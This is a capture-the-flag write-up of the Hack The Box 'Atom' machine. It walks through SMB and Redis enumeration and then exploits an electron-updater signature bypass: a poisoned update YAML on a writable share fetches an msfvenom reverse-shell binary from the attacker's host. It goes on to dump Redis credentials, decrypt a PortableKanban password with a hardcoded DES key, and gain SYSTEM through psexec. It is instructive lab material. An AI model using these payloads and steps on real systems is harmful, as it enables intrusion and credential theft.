Atom brings a cool exploitation of a vulnerability in the auto-update feature of Electron-Builder. In Atom, there is a writable SMB share which is used by a company to store an update definition file for QA testing. With write access, a malicious update definition can be placed on the share. This malicious update definition points to my reverse shell binary, which results in gaining an interactive shell to the system. Internal enumeration of the system finds a password which can be used to authenticate to a Redis server. I’m able to obtain administrator credentials by dumping the Redis database.
Skills Learned
- Exploitation of Electron-Builder app through auto-update.
- Redis enumeration
Tools
- Nmap
- CrackMapExec
- Msfvenom
- Netcat
- Impacket
Reconnaissance
Nmap
A full TCP scan with nmap
discovers six open ports: HTTP on 80 and its secure version on 443, MSRPC on 135, SMB on 445, WinRM on 5985 and Redis on 6379.
→ root@kali «atom» «10.10.14.49»
$ nmap -p- --max-rate 1000 -sV --reason -oA nmap/10-tcp-allport-atom 10.10.10.237
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-17 07:56 EDT
Nmap scan report for 10.10.10.237
Host is up, received echo-reply ttl 127 (0.051s latency).
Not shown: 65529 filtered ports
Reason: 65529 no-responses
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
443/tcp open ssl/http syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
6379/tcp open redis syn-ack ttl 127 Redis key-value store
Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 153.92 seconds
A script scan doesn’t really helpful, so I’ll skip that here.
Enumeration
TCP 6379 - Redis
On Redis, authenticated is required.
→ root@kali «smb» «10.10.14.49»
$ nc -nv 10.10.10.237 6379
(UNKNOWN) [10.10.10.237] 6379 (?) open
INFO
-NOAUTH Authentication required.
TCP 445 - SMB
SMB enumeration with Anonymous logon using crackmapexec
reveals the Windows version and one writable share.
→ root@kali «atom» «10.10.14.49»
$ crackmapexec smb 10.10.10.237 -u 'ANONYMOUS' -p '' --shares
SMB 10.10.10.237 445 ATOM [*] Windows 10 Pro 19042 x64 (name:ATOM) (domain:ATOM) (signing:False) (SMBv1:True)
SMB 10.10.10.237 445 ATOM [+] ATOM\ANONYMOUS:
SMB 10.10.10.237 445 ATOM [+] Enumerated shares
SMB 10.10.10.237 445 ATOM Share Permissions Remark
SMB 10.10.10.237 445 ATOM ----- ----------- ------
SMB 10.10.10.237 445 ATOM ADMIN$ Remote Admin
SMB 10.10.10.237 445 ATOM C$ Default share
SMB 10.10.10.237 445 ATOM IPC$ Remote IPC
SMB 10.10.10.237 445 ATOM Software_Updates READ,WRITE
Software_Updates Share
In Software_Updates
, there is a PDF file called UAT_Testing_Procedures.pdf
. I’ll grab that file.
→ root@kali «atom» «10.10.14.49»
$ smbclient -N //10.10.10.237/Software_Updates
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon May 17 08:05:58 2021
.. D 0 Mon May 17 08:05:58 2021
client1 D 0 Mon May 17 08:05:58 2021
client2 D 0 Mon May 17 08:05:58 2021
client3 D 0 Mon May 17 08:05:58 2021
UAT_Testing_Procedures.pdf A 35202 Fri Apr 9 07:18:08 2021
4413951 blocks of size 4096. 1361569 blocks available
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
getting file \UAT_Testing_Procedures.pdf of size 35202 as UAT_Testing_Procedures.pdf (121.5 KiloBytes/sec) (average 121.5 KiloBytes/sec)
TCP 80,443 - Website
Both port 80 and 443 are display the same site, it’s a software company site called “Heed Solutions”.
At the bottom, there is a hostname and a download link that points to http://10.10.10.237/releases/heed_setup_v1.0.0.zip
.
I’ll add the hostname to my /etc/hosts
file and then download the previous software.
→ root@kali «atom» «10.10.14.49»
$ echo '10.10.10.237 atom.htb' >> /etc/hosts
After the hostname added, the site still shows the same content.
→ root@kali «atom» «10.10.14.49»
$ curl -s -k https://10.10.10.237/ | wc -c
7581
→ root@kali «atom» «10.10.14.49»
$ curl -s -k http://10.10.10.237/ | wc -c
7581
→ root@kali «atom» «10.10.14.49»
$ curl -s -k http://atom.htb/ | wc -c
7581
→ root@kali «atom» «10.10.14.49»
$ curl -s -k https://atom.htb/ | wc -c
7581
Analysis
The previous zip file contains one executable file called heedv1 Setup 1.0.0.exe
.
→ root@kali «loot» «10.10.14.49»
$ file heedv1_setup_1.0.0.exe
heedv1_setup_1.0.0.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
It says “self-extracting archive”, meaning it can be extracted, for example using 7z
.
While looking into the app structure, I spotted a file called app-update.yml
.
→ root@kali «heed_extracted» «10.10.14.49»
$ tree
.
├── $PLUGINSDIR
│ ├── app-64
...<SNIP>...
│ │ ├── natives_blob.bin
│ │ ├── resources
│ │ │ ├── app.asar
│ │ │ ├── app-update.yml # ==> Updater config
│ │ │ ├── electron.asar
│ │ │ ├── elevate.exe
│ │ │ └── inspector
...<SNIP>...
73 directories, 274 files
The file contains another hostname, which I’ll add it to /etc/hosts
.
→ root@kali «heed_extracted» «10.10.14.49»
$ cat ./\$PLUGINSDIR/app-64/resources/app-update.yml
provider: generic
url: 'http://updates.atom.htb'
publisherName:
- HackTheBox
And again, it is the same site.
→ root@kali «heed_extracted» «10.10.14.49»
$ curl -s http://updates.atom.htb/ | wc -c
7581
Guessing based on the content of UAT_Testing_Procedures.pdf
file from SMB enumeration, heedv1_setup_1.0.0.exe
is currently on testing phase. Other information that I can obtain are:
- The app is packed with electron-builder
- The app has auto-update feature, but before releasing the updated app, the QA team will test it first.
According to the image above, the client
folder here probably refers to the ones on SMB.
Foothold
Shell as Jason
RCE Electron-Updater - Background
I went to the rabbit hole by analyzing the executable file. At first, I thought I could inject the app-update.yml
to point to my malicious .exe
file and repack the app. I got the idea of poisoning the update file but didn’t know where to start until I found this blog.
According to that blog, during a software update, previous Electron-Updater uses the following line to perform a signature verification check on the new version of binary file.
execFile("powershell.exe", ["-NoProfile", "-NonInteractive", "-InputFormat", "None", "-Command", `Get-AuthenticodeSignature '${tempUpdateFile}' | ConvertTo-Json -Compress`], {
...<SNIP>...
If ${tempUpdateFile}
is a user-controlled input, this can be leveraged for command injection: ';calc;'
Since the
${tempUpdateFile}
variable is provided unescaped to theexecFile
utility, an attacker could bypass the entire signature verification by triggering a parse error in the script.
The following is an example of malicious update definition that will pop a calculator.
version: 2.0.0
path: u';calc;'pdate.exe
sha512: qwP35Rn5PLaBoZ8tzvRFK...<SNIP>...LM3WCmvJUXMYmZGW6T+fI=
releaseDate: '2021-01-24T13:44:59.064Z'
Sending this u';payload;'pdate.exe
as path would be troublesome, which is simplified as follows:
`Get-AuthenticodeSignature 'u';payload;'pdate.exe' | ConvertTo-Json -Compress`
Now that if a single quote '
is added to path
, it becomes:
`Get-AuthenticodeSignature 'u'pdate.exe' | ConvertTo-Json -Compress`
But then, it would breaks the signature verification. And here’s come the interesting part, an attacker could easily bypass this signature verification by recalculating the hash of u'pdate.exe
. That’s very clever, right?
RCE Electron-Updater - Exploitation
According to the SMB enumeration, all the client
folders are writable, which means exploitation can be done in two ways: local and remote. But, I’ll go with remote 😅.
First, I’ll have to generate a reverse shell binary. This can be done with msfvenom
. I’ll host this binary using Python web server afterwards.
→ root@kali «exploits» «10.10.14.49»
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.49 LPORT=53 -f exe -o i\'amf.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: i'amf.exe
Next, I’ll need to calculate the hash of i'amf.exe
using the following command:
→ root@kali «exploits» «10.10.14.49»
$ shasum -a 512 i\'amf.exe | cut -d ' ' -f1 | xxd -r -p | base64 | tr -d '\n'
Y4xekmQ80+ALOD0xXBgPdaOmgSsbK8jACQ6xmF4ndoEOvleyI4HRTDniVdExVNryCPWGgxOElKPhMyJCywuLtw==
The last thing I need is the update file. I’ll create one called update-iamf.yml
which contains the following update definitions:
version: 2.0.1
path: http://10.10.14.83/i'amf.exe
sha512: Y4xekmQ80+ALOD0xXBgPdaOmgSsbK8jACQ6xmF4ndoEOvleyI4HRTDniVdExVNryCPWGgxOElKPhMyJCywuLtw==
releaseDate: '2021-01-24T13:44:59.064Z'
I’ll upload the update file to Software_Updates
share using smbclient
and start a netcat listener. After a few minutes, the reverse shell binary connected to my listener.
→ root@kali «exploits» «10.10.14.49»
$ smbclient -N //10.10.10.237/Software_Updates -c "put iamf-update.yml client1/latest.yml" && nc -nvlp 53
putting file iamf-update.yml as \client1\latest.yml (1.1 kb/s) (average 1.1 kb/s)
listening on [any] 53 ...
connect to [10.10.14.49] from (UNKNOWN) [10.10.10.237] 64352
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
whoami
atom\jason
C:\WINDOWS\system32>
User flag is done here.
C:\Users\jason\Desktop>type user.txt
type user.txt
b77e754354e186f...<SNIP>...
Privilege Escalation
Shell as SYSTEM
Internal Enumeration
WinPEAS discovers a set of credentials for user jason
.
...<SNIP>...
[+] Checking Credential manager
[?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault
[!] Warning: if password contains non-printable characters, it will be printed as unicode base64 encoded string
Username: ATOM\jason
Password: kidvscat_electron_@123
Target: ATOM\jason
PersistenceType: Enterprise
LastWriteTime: 3/31/2021 2:53:49 AM
On Jason’s download directory, there is a PortableKanban folder. PortableKanban itself is a password manager. I have familiarity with this application from HTB Sharp. Its config contains an encrypted Redis database password (The clear password revealed in the next section).
C:\Users\jason\Downloads>type PortableKanban\PortableKanban.cfg
type PortableKanban\PortableKanban.cfg
{"RoamingSettings":{"DataSource":"RedisServer","DbServer":"localhost","DbPort":6379,"DbEncPassword":"Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb"
...<SNIP>...
Redis Revisited
Looking into the Redis installation folder, I find a plain password in redis.windows.conf
file.
C:\Program Files\Redis>type redis.windows.conf | findstr requirepass
type redis.windows.conf | findstr requirepass
requirepass kidvscat_yes_kidvscat
redis.windows-service.conf
also contains the same password.
C:\Program Files\Redis>type redis.windows-service.conf | findstr requirepass
type redis.windows-service.conf | findstr requirepass
requirepass kidvscat_yes_kidvscat
The password kidvscat_yes_kidvscat
works on Redis.
→ root@kali «atom» «10.10.14.49»
$ rlwrap nc -nv 10.10.10.237 6379
(UNKNOWN) [10.10.10.237] 6379 (redis) open
AUTH jason kidvscat_electron_@123
-ERR wrong number of arguments for 'auth' command
AUTH kidvscat_electron_@123
-ERR invalid password
AUTH kidvscat_yes_kidvscat
+OK
It’s possible to dump the database that is currently in use.
To do that, I’ll send INFO
command and starting to look for a chunk called Keyspace
.
INFO
$1938
# Server
redis_version:3.0.504
...<SNIP>...
# Keyspace
db0:keys=4,expires=0,avg_ttl=0
There is one database active, which is db0
and it contains 4 keys.
I’ll send KEYS *
command to get all the stored keys.
SELECT 0
+OK
KEYS *
*4
$48
pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
$11
pk:ids:User
$20
pk:ids:MetaDataClass
$57
pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff
The value of pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
contains a credentials of the Administrator account, but the password is encrypted.
GET pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
$207
{"Id":"e8e29158d70d44b1a1ba4949d52790a0","Name":"Administrator","Initials":"","Email":"","EncryptedPassword":"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi","Role":"Admin","Inactive":false,"TimeStamp":637530169606440253}
PortableKanban Decrypt
By assuming that the password is encrypted using PortableKanban, I could try to decrypt the password I obtained using the following script (a modified version of the original exploit).
from base64 import b64decode
import sys
import des
key = des.DesKey(b'7ly6UznJ')
iv = b'XuVUm5fR'
try:
passwd = b64decode(sys.argv[1].encode('UTF-8'))
except IndexError:
print('[-] Usage: %s <base64_encrypted_passwd>' % sys.argv[0])
sys.exit(-1)
dec_password = key.decrypt(passwd, initial=iv, padding=True)
print("[+] Decrypted Password: " + dec_password.decode('UTF-8'))
The administrator password has been decrypted to kidvscat_admin_@123
.
→ kali@kali «atom» «10.10.14.83»
$ python3 pk-decrypt.py Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi
[+] Decrypted Password: kidvscat_admin_@123
psexec.py
I could use the credentials in psexec from impacket to obtain interactive shell access as system.
→ root@kali «atom» «10.10.14.49»
$ impacket-psexec atom/administrator:'kidvscat_admin_@123'@10.10.10.237
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.10.237.....
[*] Found writable share ADMIN$
[*] Uploading file FCSITnEj.exe
[*] Opening SVCManager on 10.10.10.237.....
[*] Creating service DCLl on 10.10.10.237.....
[*] Starting service DCLl.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami && hostname
nt authority\system
ATOM
C:\WINDOWS\system32>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : dead:beef::525:3f10:5c90:26bf
Temporary IPv6 Address. . . . . . : dead:beef::cc8a:70e1:ba06:84ed
Link-local IPv6 Address . . . . . : fe80::525:3f10:5c90:26bf%6
IPv4 Address. . . . . . . . . . . : 10.10.10.237
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:271c%6
10.10.10.2